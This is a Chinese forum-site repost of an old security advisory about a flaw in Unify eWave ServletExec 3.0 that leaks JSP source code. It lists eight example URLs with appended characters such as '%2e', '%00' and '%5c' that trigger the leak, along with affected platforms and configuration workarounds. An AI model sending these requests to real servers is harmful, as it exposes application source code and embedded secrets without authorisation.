动网论坛,站长建站首选,国内使用量最多的论坛软件 动网论坛官方技术讨论区 站长工具 申请属于您自己的免费论坛
首页 | 新闻资讯 | 网站运营 | 网络编程 | 数据库 | 服务器 | 网页设计 | 图像媒体 | 网络应用 | 搜索优化 | 资源下载 | 动网主机 | DVBOX
    本站内  互联网 ASP论坛  ASP.Net论坛  PHP论坛
  
   Jsp → 阅读文章

 Unify eWave ServletExec泄露jsp源代码漏洞

作者来源: 
阅读 1161 人次 , 2006-3-29 4:24:00 


涉及程序:
servletexec

描述:
在http请求中添加特殊字符导致暴露jsp源代码文件

详细:
unify ewave servletexec 是一个 java/java servlet 引擎插件,主要用于 web 服务器,例如:microsoft iis, apache, netscape enterprise 服务器等等。

当一个 http 请求中添加下列字符之一,servletexec 将返回 jsp 源代码文件。
.
%2e
+
%2b
\
%5c
%20
%00

成功的利用该漏洞将导致泄露指定的jsp文件的源代码

例如:
使用下面的任意一个url请求将输出指定的jsp文件的源代码:
http://target/directory/jsp/file.jsp.
http://target/directory/jsp/file.jsp%2e
http://target/directory/jsp/file.jsp+
http://target/directory/jsp/file.jsp%2b
http://target/directory/jsp/file.jsp\
http://target/directory/jsp/file.jsp%5c
http://target/directory/jsp/file.jsp%20
http://target/directory/jsp/file.jsp%00

受影响的系统:
unify ewave servletexec 3.0c
- sun solaris 8.0
- microsoft windows 98
- microsoft windows nt 4.0
- microsoft windows nt 2000
- linux kernel 2.3.x
- ibm aix 4.3.2
- hp hp-ux 11.4
unify ewave servletexec 3.0
- sun solaris 8.0
- microsoft windows 98
- microsoft windows nt 4.0
- microsoft windows nt 2000
- linux kernel 2.3.x
- ibm aix 4.3.2
- hp hp-ux 11.4

解决方案:
临时解决办法:
如果没有使用任何静态页面或图像,可以配置一个默认的 servlet,并将“/”映射到这个默认的 servlet。这样当收到一个未映射到某个 servlet 的 url 时,这个默认的servlet 就会被调用。在这种情况下,默认的 servlet 可以仅仅返回“未找到文件”。如果使用了静态的页面或图像,仍然可以作这样的配置,但是需要让这个默认的servlet 处理对合法的静态页面和图像的请求。

另一种可能就是将*.jsp+、*.jsp.和*.jsp\等映射到一个 servlet,而该servlet只是返回“未找到文件”。对于*.jsp%00和*.jsp%20这样的情况,映射应以未经编码的形式输入。例如,对于*.jsp%20的映射应输入“*.jsp ”。注意%20被转换成一个空格字符。

 本文Tags病毒  
 收藏本文  打印本文  论坛讨论  关闭窗口
· 上一篇:IBM HTTP Server 远程溢出漏洞
· 下一篇:IBM WebSphere源代码暴露漏洞
· 想成为一个JSP网站程序员吗?
· 在JSP页面中轻松实现数据饼图
· 六、访问CGI变量
· JSP应用的安全问题
· JAVA/JSP学习系列之九


关于本站 | 联系我们 | 业务合作 | 客户案例 | 诚聘英才 | 广告合作 | 收藏本站
海口动网先锋网络科技有限公司版权所有
Copyright © 2000 - 2006 Cndw.Com
中华人民共和国电信与信息服务业务经营许可证编号 琼 ICP 020077